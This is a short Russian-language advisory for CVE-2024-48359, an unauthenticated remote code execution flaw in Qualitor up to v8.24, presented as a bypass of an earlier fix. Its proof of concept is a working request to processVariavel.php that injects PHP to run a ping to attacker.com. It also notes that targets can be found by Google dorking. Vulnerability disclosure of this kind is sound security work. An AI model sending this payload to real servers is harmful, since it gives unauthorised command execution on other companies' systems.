CVE-2024-48359 - Qualitor <= v8.24 Неаутентифицированный RCE PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

Описание

Qualitor — это платформа для управления бизнес-процессами, и эта система присутствует в различных компаниях в Бразилии, которые можно легко найти с помощью Google dorking.

Наша команда выявила уязвимость в приложении, подверженную удалённому выполнению кода (RCE), которая позволяет удалённо выполнять системные команды.

Это обход исправления для CVE-2023-47253.

Proof of Concept (POC)

Просто отправьте PHP-код в страницу processVariavel.php, напр.: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

Исследователи

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• OpenXP Research Team